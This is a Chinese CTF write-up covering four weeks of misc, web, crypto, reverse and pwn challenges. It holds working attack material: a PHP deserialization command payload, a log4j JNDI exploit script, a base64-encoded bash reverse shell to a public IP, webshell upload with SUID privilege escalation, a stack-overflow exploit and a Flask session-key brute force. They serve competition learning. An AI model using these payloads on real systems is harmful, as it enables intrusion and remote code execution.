Week1
[Misc] ez_traffic_analyse
我出的题嘿嘿(
刚刚复现了Shadowsocks重定向攻击的内容,就把他甩上来了。题目描述挺明显的,操作起来也还挺简单。
参考文章:https://www.secrss.com/articles/51733
的exp即可。
[Misc] ez_leakage
题目附件给了grad和权重,猜测用grad+原来的模型可以还原图像。找了下是DLG,也有现成的脚本(https://github.com/mit-han-lab/dlg
改一下扔到Colab上去跑一次就有了
[Misc] evil_pic_encode
首先拿到的numpy数组的长度可以用质因数分解分出来,1801422=2*3*3*7*17*29*29,分出三个通道,剩下的几个质因数组合一下生成图片发现分辨率为986*609的图片正常(直的)
先看猫脸变换(为什么是这个名字?
写个程序可以发现本题的变换矩阵的循环节为7
于是只需将加密后的图片再变换7次可以找到猫脸变换的矩阵
kk = [ [5, 1, 4, 2, 3], [6, 4, 5, 4, 4], [1, 3, 1, 3, 1], [5, 3, 3, 2, 5], [1, 5, 2, 3, 4], [4, 3, 3, 2, 3], [6, 5, 2, 6, 4], [3, 3, 6, 1, 5],]接下来就是处理周围的dct块了...发现dct块的加密次数不超过5...但是问题是dct加密后虚部的内容被丢弃了...?似乎需要爆破有点麻烦(
中间已经存在了一部分的内容,然后dct块的内容选择直接爆破来做。
[Misc] ez_eval_game
又是我出的题。虽然这个题出了点问题(悲)
原题是:https://oskaerik.github.io/theevalgame/。
可以直接参考leaderboard上的代码。
[Misc] bssid
osint。wigle网站上查一下。
[Misc] signin
exif信息中有提示到公众号发signin。然后图片末尾的文字有提示发送到b站bxs账号得到剩下的flag。
[Misc] strange_pic_encode
可以查到一条曲线可以填充二维平面=>Peano或者是Hilbert曲线。大致观察发现是3x3的块所以是Peano曲线(网上这个东西好少)
搜了一个matlab的实现然后手动改成python
def peano_curve(n): peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]]) points = peano_old.tolist() # points = [] for i in range(1, n): p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1])) p1 = p1[::-1] p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1])) p2 = p2[::-1] peano_new = np.vstack((peano_old, p1, p2)) p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1])) p1 = p1[::-1] p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1])) p2 = p2[::-1] peano_new = np.vstack((peano_new, p1, p2)) peano_old = peano_new / (3 + 2 / (3**i - 1)) points = peano_old.tolist() points = np.round(np.array(points) * (3**n - 1)).astype(int) nP = [] for i in range(len(points) - 1): nP.append(points[i]) dx = int(points[i + 1][0] - points[i][0]) dy = int(points[i + 1][1] - points[i][1]) if dx == 0: for j in range(1, abs(dy)): nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))])) else: for j in range(1, abs(dx)): nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]])) nP.append(points[-1]) return np.array(nP)然后就卡住了(?不知道是哪种加密的操作方法,导致耗费了一晚上来试怎么做比较好(x
经过一堆尝试发现这样做能够生成差不多形式的图
r = np.array(Image.open("1234.jpg").convert("RGB"))w, h = r.shape[:2]points = peano_curve(6)t = np.zeros_like(r)r = r.reshape((w * h, 3))for i in range(len(points)): y, x = points[i] t[x, w - 1 - y] = r[i]Image.fromarray(np.array(t).reshape((w, h, 3))).save("crypt1.png")逆向操作即可
r = np.array(Image.open("encrypto.png").convert("RGB"))w, h = r.shape[:2]s = []for i in range(len(points)): y, x = points[i] s.append(r[x, w - 1 - y])s.reverse() # 最后发现反了我再返回来即可xImage.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png")[Web] php_hacker
反序列化构造一个字符串即可。
payload如下
O:8:"Executor":1:{s:7:"command";s:20:"echo `cat /f_l_a_g`;";}中间的shell随便改就行(
[Web] attack_shiro
https://www.cnblogs.com/CoLo/p/14025101.html
找个公网ip弹个shell就行(
[Web] ez_cat
上传一句话木马
然后弹shell提权即可。
利用date的suid来提升到root并读取文件。date -f /flag.txt
[Web] ez_sqli
https://www.wolai.com/ctfhub/3steV94h29brUrEiwuGp9n
手注。
[Web] java_signin
猜测是log4j2 RCE的CVE。
于是就只剩下试验了。最开始直接用TCP模拟发HTTP包。失败了
然后发现只用从某几个常用的Headers里试一试就可以了
最后是Accept这个headers里。exp如下:
import requests as rimport base64 as b64from pwn import pauseipaddr = "43.128.24.129"jdni_url = f"rmi://43.128.24.129:1099/063ckb"# url = "http://47.76.71.50:20009/"url = "http://localhost:8081"r.get(url, headers={"Accept": "application/${jndi:" + jdni_url + "}"})然后弹shell的机器上开一个JDNIExplotion和nc监听端口。然后execbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMjguMjQuMTI5LzkwMDEgMD4mMQ==|{base64,-d}|{bash,-i}最后发送请求就可以看到弹来的shell。
[Crypto] hard_pic_encode
原来Crypto才是签到题
再xor一次即可
[Crypto] baby_pic_encode
assert可以化简为x^2 - 810131 y^2 = 1
查了下是Pell方程
def solvePell(d): m = int(np.sqrt(d)) dq = deque() dq.append(m) n0 = n1 = d - m * m m1 = m while 1: q, m2 = divmod(m1 + m, n1) dq.appendleft(q) m1 = -m2 + m n1 = (d - m1 * m1) // n1 if m1 == m and n1 == n0: break dq.popleft() b = 1 c = 0 for i in dq: b1 = c + b * i c = b b = b1 return (b, c)求解得到x,y
用原来的函数在np.zeros()上生成一样的补码
然后和加密后的图相减即可。
[Crypto] SuperBag
本题中观察可知leak = w
所以array_2可以求出来
解出。
[Crypto] Broken PEM
读了pycryptodome的源码,DER格式的内容大概是[type][length_type][length][content],type的内容可以参考这里。
因为RSA PEM内容肯定是整数序列,内容如下:
RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER, -- (inverse of q) mod p otherPrimeInfos OtherPrimeInfos OPTIONAL }后面序列有四个数,所以可以得到q,题目也给了e。于是可求。
可知,在q已知的情况下能够求出m。
编写exp.py如下
from binascii import a2b_base64, hexlifyfrom Crypto.Util.number import long_to_bytes as l2bpem = ( a2b_base64( """1ixI9xAcwhdVVjzfp55wYLPya5DWWP9zmpMMxYV0Zb74j/r/+ajucrs15/+rG2RfBHBMSTFwn4mbL60OfhReOuj3T7cNBYYYHgFGC5kANsa/HVKQegWebJNNAoGBANRgg8lUzD5t2iE1wrOtzepOCCGNmTeoJckArrsOWBRbJ7U95FJy9pz7beEmH8UpfgjtErHXRALLzeKhrKf18nsHg2YsvK5zSD149g+iPhL1JPi/x2BndcYMgBuicMR7eZ59jDVs72sELL+5tsunUsvu51VHaNi+JwRLHMOe2WgZAoGAKbCaUZR1Dit2zkiIkeg7WQCdadFnVGoyFOGNlDYLSB4lBE5tqnXfUzQiqTzMnYmynj1VhBaOF3uw4gKWxzkBaGvDhglVo2LsMrcEMQcv8uqRYZ/50Y4yDcyas1RhsDJ8PrVJOeom7xf5P/GXClIOmtmiFnna+NzuCdextFZnE+ECgYEAzflBN11XrWCLQtRKHkt9vzWo6ynSpMkexGA2FtMll7CExWHedBxtk/jCK6/29hh01SFglTyrCG8zIg8dTdTaNHon9UuEP0ktkfkj5Cu9OlOpZNtS+eu9rLPo92RHLDh4zr8C4bniRg9JezUZ1VBVm9X7ZJkaVcOuQZq7rfn87tkCgYEAgnKtFAEEOq6UqSgzbYSTPsgpHlQy8ZAzJBZhupevBxXFQyjl6UCDKSeDSvjgpHngIVEdrpm8xGmHpaYGhdvUBX3RmFv5wg/Lhb5Y/aMu3Tpv2hhysmv1thD5ts5oRIwKrl0ZlrQPybnYLHMixky5R9JJohRv8Dmgp15afJ4PEHc=-----END RSA PRIVATE KEY-----""".replace( "-----END RSA PRIVATE KEY-----", "" ).replace( "\n", "" ) ) .hex() .split("0281") #02表示下面的type是整数 81表示接下来一位是长度)[1:] #第一块是无用块。pem = [int(i[2:], 16) for i in pem] #去掉长度标识转成整数。q = pem[0]e = 0x10001d = pow(e, -1, q - 1)c = int( """64cf9253ce6f8bb37ad43cbb473a0577d036144d5dc9ce0ae2fa5a485950096b0b78b06f06bcc60b6f92eddc34ff1ea1e1573b82912c4aea70c645bf11c9bf36a291ff9793390051e412ab209eb199cf0ea0c100e4c7af7a650848c14ec44b7d78a13da503a30eb8ef37e432bcd587bc7cebfc4d89aaaf4b8f3f84c5947a623375008a8d211e97057923c115e320ccaf9cb9f839a0c03c8d337b061ca58c8ccf9d3fdbb121fce009b313ee7381a124b80ff9f1ed0217cca2cf58306e9a99baa7aafcfab90164ab45fd37f240a584c5631a5325249b371551c8daaab8882cd01b439b383d7c557534a99e7af5e64afdf6d22d0fb6f67944996aa874150b9deffb""", 16,)m = pow(c, d, q)print(l2b(m).decode())[Crypto] A Bit Limit
由于给了q的高位,这个题大概是用coppersmith_attack来分解。
但是如果直接用q分解,界没设好的话最后得到的解是-q
所以需要将q补全几位再继续分解。
[Reverse] Baby Math
一个形式为Ax=B的方程。解出来即可
[Reverse] simple
注意到代码中出现了2654435769 = -1640531527 & 0xFFFFFFFF = 0x9E3779B9常用于tea加密。
于是写了一个解密程序。得到flag。
[Reverse] babysmc
查壳是UPX壳。但是似乎有改动所以无法直接脱壳,于是用https://www.anquanke.com/post/id/272639的方法手动脱壳了。然后丢进IDA找到了主函数


点开主函数发现用sub_4014C8()解密了sub_401410这个函数,然后再进行了比较。
丢进x32dbg动态调试定位到call 401410前设置断点。然后就可以看到解密之后的函数指令。
当然看指令什么的还是算了,同样dump出来丢进ida就是原函数

稍微模拟一下就可以找到原内容。
[Pwn] Rise_of_the_Dragon_Slayer
简单的交互入门题,唯一要注意的是加一个int,除法是整数。
from pwn import *import ctypes# context.log_level = "debug"p = connect("47.76.71.50", 20009)from re import compilecalc = compile(r"(\d+) ([\+\-\*\/]) (\d+) =")p.recvuntil(b"Now, you need to answer 20 questions to test your intelligence.\n")for i in range(20): print(i) res = p.recvuntil(b"Please input your answer:\n").decode().replace(b"\n", b"") a, op, b = calc.findall(res)[0] p.sendline(str(eval(f"int({a + op + b})")).encode())for i in range(20): print(i) res = p.recvuntil(b"Input the position you want to attack:\n").decode().split("\n") for i in res: if "M" in i: p.sendline(str(i.split("M")[0].__len__()).encode())p.interactive()[Pwn] ez_pwn1
from pwn import *context.log_level = "debug"# p = process("./1")r = ELF("./1")target = r.sym["backdoor"]p = connect("47.76.71.50", 20009)payload = b"a" * (0x10 + 0x8) + p64(target + 0x8)# gdb.attach(p)pause()p.sendline(payload)print("[+] Payload sent")p.interactive()[Pwn] Journey_of_the_Chosen
from pwn import *context.arch = "amd64"context.log_level = "debug"p = remote("47.76.71.50", 20009)# p = process("./pwn")# gdb.attach(p)payload = b""endl = b"\n"p.send("1\n2\n1\n2\n1\n3\n")# print(res.decode())p.interactive()Week2
[Misc] qrazy_pic_encode
因为DCT的数据有明显特征,考虑训练一个分类模型来识别。
class Neural(nn.Module): def __init__(self, input_size, num_classes, hidden_size=100): super(Neural, self).__init__() self.fc1 = nn.Linear(input_size, hidden_size) self.relu1 = nn.ReLU() self.fc2 = nn.Linear(hidden_size, hidden_size) self.relu2 = nn.ReLU() self.fc3 = nn.Linear(hidden_size, num_classes) self.sigmoid = nn.Sigmoid() def forward(self, x): x = self.fc1(x) x = self.relu1(x) x = self.fc2(x) x = self.relu2(x) x = self.fc3(x) x = self.sigmoid(x) return xmodel = Neural(19, 2, 256)criterion = nn.MSELoss()optimizer = optim.SGD(model.parameters(), lr=0.001)num_epoches = 10000 * 2batch_size = 100def generate_1batch(): y = [random.random() for _ in range(20)] y1 = dct(y) x = random.randint(0, 1) xx = [0, 0] if x == 1: y1 = dct(y1) xx[x] = 1 return normalize(y1[1:]), xxdef batch_pack(batch_size): batchX = [] batchY = [] for _ in range(batch_size): x, y = generate_1batch() batchX.append(x) batchY.append(y) return batchX, batchYwith tqdm(total=num_epoches) as pbar: # rrr = tqdm() for epoch in range(num_epoches): # for i in range(1000): optimizer.zero_grad() X_train, Y_train = batch_pack(batch_size) X_train = torch.FloatTensor(X_train) Y_train = torch.FloatTensor(Y_train) outputs = model(X_train) # print(X_train.shape, Y_train.shape, outputs.shape) # print(X_train, Y_train, outputs) loss = criterion(outputs, Y_train) loss.backward() accuracy = (outputs.argmax(dim=1) == Y_train.argmax(dim=1)).float().mean() optimizer.step() pbar.update(1) pbar.set_description("Epoch: %d, Loss: %.4f" % (epoch, loss.item()))torch.save(model.state_dict(), "model.pth")# Verify the modelmodel.eval()with torch.no_grad(): X_test, Y_test = batch_pack(100) X_test = torch.FloatTensor(X_test) Y_test = torch.FloatTensor(Y_test) outputs = model(X_test) _, predicted = torch.max(outputs.data, 1) _, truth = torch.max(Y_test.data, 1) print("Predicted: ", predicted) print("Truth: ", truth) print("accuracy: ", (predicted == truth).float().mean().item())训练10k次的情况下准确性能有97%左右。然后修好定位点放进qrazybox。
import numpy as npfrom PIL import Imager = open("out.txt").read().replace("[", "").replace("]", "").split(",")r = [float(x) for x in r]r = np.array(r).reshape(-1, 19)r = torch.tensor(r).float()res = model(r)_, res = torch.max(res.data, 1)res = res.detach().numpy().reshape(37, 37, -1)img = Image.new("L", (37, 37))for i in range(37): for j in range(37): if res[i][j][0] == 1: print("_", end="") img.putpixel((j, i), 255) else: print("#", end="") img.putpixel((j, i), 0) print()img.save("res.png")
[Misc] ez_brainfuzz
brainfuck+fuzz的组合。很简单的一道题。exp如下:
from pwn import *# context.log_level = "debug"# 20001p = connect("47.76.71.50", "20001")alphabet = "abcdefghijklmnopqrstuvwxyz1234567890"dis = lambda x, y: ord(x) - ord(y)def getfuckstr(str): if len(str) == 0: return "" base = "+++++++++[->+++++++++<]>++++++++++++++++" cad = [dis(str[0], "a")] for i in range(1, len(str)): cad.append(dis(str[i], str[i - 1])) finalstr = "" for t in cad: if t > 0: finalstr += t * "+" + "." else: finalstr += (-t) * "-" + "." return base + finalstrbase_str = ""cur_sim = 0sendcmd = lambda cmd: p.sendlineafter(">>> ", cmd.encode()).decode().split("\n")[-1]while True: for i in alphabet: sendcmd(getfuckstr(base_str + i)) res = p.recvline().decode() if res.find("SBCTF") != -1: print(res, base_str) exit(0) now_sim = int(res.replace("Now similarity: ", "").replace("%", "")) if now_sim > cur_sim: print(res) cur_sim = now_sim base_str += i[Crypto]hard_DSA
这个题和前几天春秋杯的一个题很像(虽然我没做
似乎意思是共享的k加密两次就有办法得到k。
首先有
\begin{align}
r_1 &\equiv (g^k\mod p) &\mod q\\
r_2 &\equiv (g^k\mod p )&\mod q\\
s_1 &\equiv (h_1+xr_1)\cdot k_1^{-1} &\mod q\\
s_2 &\equiv (h_2+xr_2)\cdot k_2^{-1} &\mod q\\
\implies s_1 k_1 &\equiv h_1+xr_1 &\mod q\\
s_2 k_2 &\equiv h_2+xr_2 &\mod q\\
消去x \implies
s_1k_1r_1^{-1} -s_2k_2r_2^{-1} &\equiv h_1r_1^{-1} - h_2r_2^{-1} &\mod q\\
\implies
s_1k_1r_2 -h_1r_2 &\equiv s_2k_2r_1 - h_2r_1 &\mod q\\
\implies
(s_1k_1-h_1)r_2 &\equiv (s_2k_2-h_2)r_1 &\mod q\\
可化简为k_1的方程&\\
s_2r_1ak_1^2 + (s_2r_1b -s_1r_2)&k_1 + cr_1-h_2r_1 +h_1r_2 \equiv 0 &\mod q
\\
故可以求出k_1&
\end{align}p =q =g =y =a =b =c =r1 =s1 =r2 =s2 =m1 = b"so easy DSA problem isn't it?"m2 = b"what? you say you can not solve it?"h1 = b2l(hashlib.sha1(m1).digest())h2 = b2l(hashlib.sha1(m2).digest())# print(s2 * r1 * a % q, (s2 * r1 * b - s1 * r2) % q, (c * r1 - h2 * r1 + h1 * r2) % q)from sage.all import *R.<x> = PolynomialRing(Zmod(q))f = (s2 * a * x ** 2 + s2 * b * x + s2 * c - h2) * r1 - (s1 * x - h1) * r2# print(f.roots())k1 = f.roots()[0][0]# k2 = f.roots()[1][0]k2 = (a * x ** 2 + b * x + c )assert pow(g, k1, p) % q == r1assert pow(g, k2(k1), p) % q == r2x = (s1*k1 - h1) * inverse_mod(r1, q) % qfrom Crypto.Util.number import long_to_bytesprint(long_to_bytes(x))[Crypto] ez_block
是个aes_cbc的块密码。可以不管中间AES的细节原理,直接看外层性质。
C0 = ivC(i) = AES_ECB_encrypt(C(i-1)^P(i))给我们的内容中包括了一个完整的C(n),P,以及前几个块加密内容的某几位。还有缺失两位的key。
AES_ECB_decrypt(C(i)) ^ P(i) = C(i-1)所以爆破密码的最后两位,解密的数据和前文比较。可以爆破出key
from Crypto.Cipher import AESimport binasciifrom base64 import b64decodedef xor(a, b): return bytes([x ^ y for x, y in zip(a, b)])hexify = binascii.hexlifycipher = b64decode(b64decode(open("cipher.txt", "r").read()))key = "3N7g309d6Y7enT**"message = "Security is not a joke, mind it. But complete security is a myth".encode()print(len(cipher), len(message), len(key))bcipher = [cipher[i : i + 32] for i in range(0, len(cipher), 32)]p = [message[i : i + 16] for i in range(0, len(message), 16)]known = bytearray.fromhex(bcipher[-1].decode())# print(known)print(p, bcipher)det = [bcipher[-1].decode()]get_key = ""for i in range(0, 128): for j in range(0, 128): nkey = key[:-2] + chr(i) + chr(j) dec = AES.new(nkey.encode(), mode=AES.MODE_ECB).decrypt(known) dec = xor(dec, p[-1]) dec = hexify(dec).decode() if dec[-4:] == bcipher[-2][-4:].decode(): assert dec[:2] == bcipher[-2][:2].decode() print(dec, bcipher[-2].decode(), nkey) det.append(dec) print("Found key", nkey) get_key = key[:-2] + chr(i) + chr(j) break然后依次和原文异或后解密得到全部密文。
aes = AES.new(get_key.encode(), mode=AES.MODE_ECB)realcipher = [bcipher[-1]]for i in range(3): r = p.pop() c = bytearray.fromhex(bcipher.pop().decode()) print(r, c.hex()) dec = aes.decrypt(c) dec = xor(dec, r) dec = hexify(dec).decode() print(dec) bcipher[-1] = dec.encode() realcipher.append(dec.encode())realcipher.reverse()print(realcipher)然后有
AES_ECB_decrypt(C(1)) ^ P(1) = C(0) = IV = flag可以得到IV。
p = [message[i : i + 16] for i in range(0, len(message), 16)]t = xor(aes.decrypt(bytearray.fromhex(realcipher[0].decode())), p[0])print(t)[Web] ez_login
CVE-2023-32315
[Web] ez_php
看上去不难的字符串逃逸:
a:3{s:4:"test";s:45:"";s:3:"img";s:6:"sb.png";s:8:"username";s:0:"";s:3:"inj";}"[Web] time_travel_chaos
flask_session构造。看了下原理都是再另一个库itsdangerous里实现的。
[message].[timestamp].[hmac_signature]message=>base64encode(json.dump(message))timestamp=>base64encode(int_to_bytes(time()))hmac_signature=>hmac_sign(`[message].[timestamp]`)from requests import head, postfrom itsdangerous import Signerfrom itsdangerous.exc import BadSignaturefrom tqdm import tqdmfrom datetime import datetimefrom itsdangerous.encoding import ( int_to_bytes, base64_encode, bytes_to_int, base64_decode,)import time这里需要注意flask_session中使用了一些奇奇怪怪的参数卡了我好久(哭
初始化需要这样
s = Signer(nKey, salt="cookie-session", key_derivation="hmac")所以按照提示这就是个爆secret_key的东西。反正是六位,本地爆破一会就出来了。
def fuzz_key(session): content, timestamp, sign = session.split(b".") flag = 0 got_key = "" for i in tqdm(range(0, 0xFFFFFF)): nKey = hex(i)[2:].zfill(6).encode() s = Signer(nKey, salt="cookie-session", key_derivation="hmac") t = s.sign(content + b"." + timestamp) if t == session: flag = 1 got_key = nKey print("Found key: " + str(nKey)) return got_key if flag == 0: print("Not found") return None然后考虑时间问题。2099-12-31 0.0.0是linux/unix下的时间模式,对应下来是utc+8.
最后是session的内容。
会返回值我是 xiaoming ,不是 test 哦!,所以将session中内容里的test改成小明即可。
def get_flag(key, content): s = Signer(key, salt="cookie-session", key_derivation="hmac") ts = int(datetime(2099, 12, 31, 8, 0, 0).timestamp()) ts = base64_encode(int_to_bytes(ts)) content = base64_encode(base64_decode(content).replace(b"test", b"xiaoming")) print(content) t = s.sign(content + b"." + ts) r = post( f"{url}check", headers={ "Cookie": f"session={t.decode()}", "Content-Type": "application/json", }, json={"session": t.decode()}, ).json() return r["message"]def solve(): r = get_session() content, timestamp, sign = r.split(b".") print(r) key = fuzz_key(r, content, timestamp) if key != None: t = get_flag(key, content) if t != None: print(t) return t return Nonesolve()[Reverse] start_main
丢进IDA观察函数。化简后看到几块逻辑。
main函数里输入了36位加密后的内容。对其进行base64decode后,用rc4进行加密。key是SBCTF


注意到另外的函数中进行了base64换表,而后将rc4_key也进行了编码。
由于rc4_key是换表之后的操作,可以模拟出新表然后进行操作。rc4加密是对称加密所以再加密一次即可得到flag。
SBCTF{do_you_know_base64?}
Week3
[Crypto] ez_LCG
查了下看到了原题,秒了(x
import itertoolsdef small_roots(f, bounds, m=1, d=None): if not d: d = f.degree() R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G = Sequence([], f.parent()) for i in range(m+1): base = N^(m-i) * f^i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1/factor) H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B*monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots return []a =b =n =output = []PR.<x,y> = PolynomialRing(Zmod(n))f = ((output[0]<<64)+ x) * a + b - ((output[1]<<64) + y)roots = small_roots(f,(2^64, 2^64), m=4, d=4)s1 = (output[0]<<64) + roots[0][0]m = (s1 - b) * inverse_mod(a, n) % nprint(bytes.fromhex(hex(m)[2:]))[Crypto] ez_DH
看了下需求是求BobSecret,想到pohlig-hellman似乎可以求对数,又看了下分解因式,非常光滑(
factor(N-1)=2^23 * 3^26 * 5^12 * 7^7 * 11 * 13^3 * 17^2 * 19 * 23 * 29 * 31 * 41 * 43^4 * 53 * 61 * 83 * 89 * 109 * 127 * 157 * 173 * 181 * 199 * 293 * 337 * 367 * 457^2 * 503 * 547 * 677 * 839 * 853 * 1471 * 1559 * 1709 * 2437 * 2843 * 3359 * 3433 * 3541 * 3637 * 9403 * 15443 * 20533 * 27437 * 34033 * 51059 * 51613 * 59123 * 65839 * 149027 * 199873 * 344251 * 470593 * 675299 * 702523 * 2727331 * 3745229 * 4260649 * 5782171 * 6020923 * 11461381 * 15571799 * 16397737 * 17406901 * 18964541 * 25576627 * 45916289 * 161557391 * 176006951 * 236232461 * 290156021 * 503554679 * 1580641753 * 1816545361然后就可以方便的求出BobSecret=>shared_key,然后后面圆锥曲线看起来就很简单了(点头
N=g = 2G = GF(N)A =B =bs = G(B).log(g)assert G(g)**bs == G(B)na = pow(A, bs, N)p=a=-3b=E = EllipticCurve(GF(p), [a, b])P1 = E()C = E()m = C - na*P1flag = bytes.fromhex(hex(m.xy()[0])[2:])print(flag)[Crypto] ez_ECDLP
似乎....2021广东省强网杯某一道题的参数是一样的一堆东西。于是...
from sage.all import *def SmartAttack(P,Q,p): E = P.curve() Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ]) P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True) for P_Qp in P_Qps: if GF(p)(P_Qp.xy()[1]) == P.xy()[1]: break Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True) for Q_Qp in Q_Qps: if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]: break p_times_P = p*P_Qp p_times_Q = p*Q_Qp x_P,y_P = p_times_P.xy() x_Q,y_Q = p_times_Q.xy() phi_P = -(x_P/y_P) phi_Q = -(x_Q/y_Q) k = phi_Q/phi_P return ZZ(k)N1 =A1 =B1 =P1x =P1y =Q1x,Q1y =p1 =q1 =assert p1*q1 == N1N2 =A2 =B2 =P2x =P2y =Q2x,Q2y =p2 =q2 =assert p2*q2 == N2def solve_poh(P,Q,p,q,A,B,N): assert p*q == N Ep = EllipticCurve(Zmod(p), [0,0,0,A,B]) Np = Ep.order() Pp = Ep(P) Qp = Ep(Q) dp = Pp.discrete_log(Qp) return dp,Pp.order()def solve_smart(P,Q,p,q,A,B,N): assert p*q == N Ep = EllipticCurve(Zmod(p), [0,0,0,A,B]) Np = Ep.order() Pp = Ep(P) Qp = Ep(Q) dp = SmartAttack(Pp,Qp,p) return dp,Pp.order()def solve1(P,Q,p,q,A,B,N): dp,po = solve_poh(P,Q,p,q,A,B,N) dq,qo = solve_smart(P,Q,q,p,A,B,N) d = crt([dp,dq],[po,qo]) return d%Ndef solve2(): dp,po = solve_poh(P,Q,p,q,A,B,N) dq,qo = solve_poh(P,Q,q,p,A,B,N) d = crt([dp,dq],[po,qo]) return d%NP,Q,p,q,A,B,N = (P1x,P1y),(Q1x,Q1y),p1,q1,A1,B1,N1dp,po = solve_poh(P,Q,p,q,A,B,N)dq,qo = solve_smart(P,Q,q,p,A,B,N)d = crt([dp,dq],[po,qo])t = dP,Q,p,q,A,B,N = (P2x,P2y),(Q2x,Q2y),p2,q2,A2,B2,N2dp,po = solve_poh(P,Q,p,q,A,B,N)dq,qo = solve_poh(P,Q,q,p,A,B,N)d = crt([dp,dq],[po,qo])r = dt = bytes.fromhex(hex(t)[2:])r = bytes.fromhex(hex(r)[2:])flag = b"SBCTF{"+t+r+b"}"print(flag)[Crypto] hard_rsa
网上查到的大部分e=3的题都是暴力开方但是这个看上去不行毕竟给了三个参数
于是可以开始推式子了(
\begin{align}
&ed &\equiv 1 \pmod {\phi(n)}&\\
&ed &= k_1 \cdot \phi(n)+1 &\\
\end{align}因为e=3,d<n,有ed<3n,k_1\in {1,2}
又有
\begin{align}
g_1 &\equiv d^3 &\pmod n \\
e^3g_1 &\equiv (ed)^3 &\pmod n\\
&\equiv(1+k_1\cdot\phi(n))^3 &\pmod n \\
&\equiv1+3k_1\cdot\phi(n)+3(k_1\cdot\phi(n))^2 + (k_1\cdot\phi(n))^3 &\pmod n\\
\end{align}可知
(k_1)^3g_2 + 3(k_1\cdot\phi(n))^2+3(k_1\cdot\phi(n))+1-27g_1 \equiv 0 \pmod n欧拉函数的定义如下
\begin{align}
\phi(n) &= (p-1)(q-1)\\
&= n -p -q+1\\
&\equiv -(p+q)+1 \pmod n
\end{align}设r=p+q,带入上面的式子有
\begin{align}
k_1^3g_2+3k_1^2(1-r)^2+3k_1(1-r)+1-27g_1&\equiv 0 \pmod n \\
k_1^3g_2+3k_1^2-6k_1^2r+3k_1^2r^2+3k_1-3k_1r+1-27g_1&\equiv 0 \pmod n\\
3k_1^2r^2-(6k_1^2+3k_1)r+(3k_1^2+3k_1+k_1^3g_2+1-27g_1)&\equiv 0 \pmod n\\
\end{align}对r,假设p>q,有
\begin{align}
r^2 &= (p+q)^2\\
&=p^2+q^2 +2pq \\
&=p^2+q^2 +2n \\
&\leq 5q^2 +2n \\
&\leq 7n\\
3k_1^2r^2&\leq 12r^2\\
&\leq 84n
\end{align}所以
\begin{align}
3k_1^2r^2-(6k_1^2+3k_1)r+(3k_1^2+3k_1+k1^3g_2+1-27g_1) &< 84n\\
3k_1^2r^2-(6k_1^2+3k_1)r+(3k_1^2+3k_1+k1^3g_2+1-27g_1) &= k_2 n,k_2<84.
\end{align}于是可以解出(r=p+q),得出\phi(n)然后得出结果。
from Crypto.Util.number import long_to_bytesn =g1 =g2 =e = 3for k in range(1, 3): a = 3 * (k ^ 2) b = -(6 * (k ^ 2) + 3 * k) c = 3 * (k ^ 2) + 3 * k + (k ^ 3) * g2 - 27 * int(g1) + 1 det = b ^ 2 - 4 * a * c for i in range(85): c -= n det = b ^ 2 - 4 * a * c if det.is_square(): break if det.is_square(): breakr = (-b + sqrt(b ^ 2 - 4 * a * c)) / (2 * a)c =phi = n - r + 1d = pow(e, -1, phi)assert pow(d, e, n) == g1flag = pow(c, d, n)print(long_to_bytes(flag))[Reverse] babymaze
看图标就是一个pyinstaller的封装。用pyinstxtractor.py解包之后pycdc提取字节码得到内容。
是个迷宫,从3走到2不能走0的地方。
只有几条找到即可。
SBCTF{bbbbdddaddbbbbcbb}
[Reverse] 八色三月七
base64的另一种实现。
前半部分一样后半部分表换成了一二三四五六七八
r = "三月五七月五二月二一月四三月六一月五四月二八月四三月二一月七八月六四月八三月六三月六八月六六月五四月一三月七五月六六月四四月二三月六八月六二月六四月一三月七二月六六月一四月三三月六八月六七月四四月一三月七五月六七月八四月二三月七八月一八月八二月四三月三七月六四月二四月二三月八二月五五月二四月八三月一"r = r.replace("March7", "=")table = "一二三四五六七八"base_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="for i in range(0, len(r), 3): t, s = r[i : i + 3].split("月") e = table.find(t) * 8 + table.find(s) print(base_table[e], end="")Week4
[Misc] ez_game and revenge
一个博弈论。从AtCoder上扒下来的。居然还是紫题感觉题解比我讲得好就不放我的思路了。放个exp
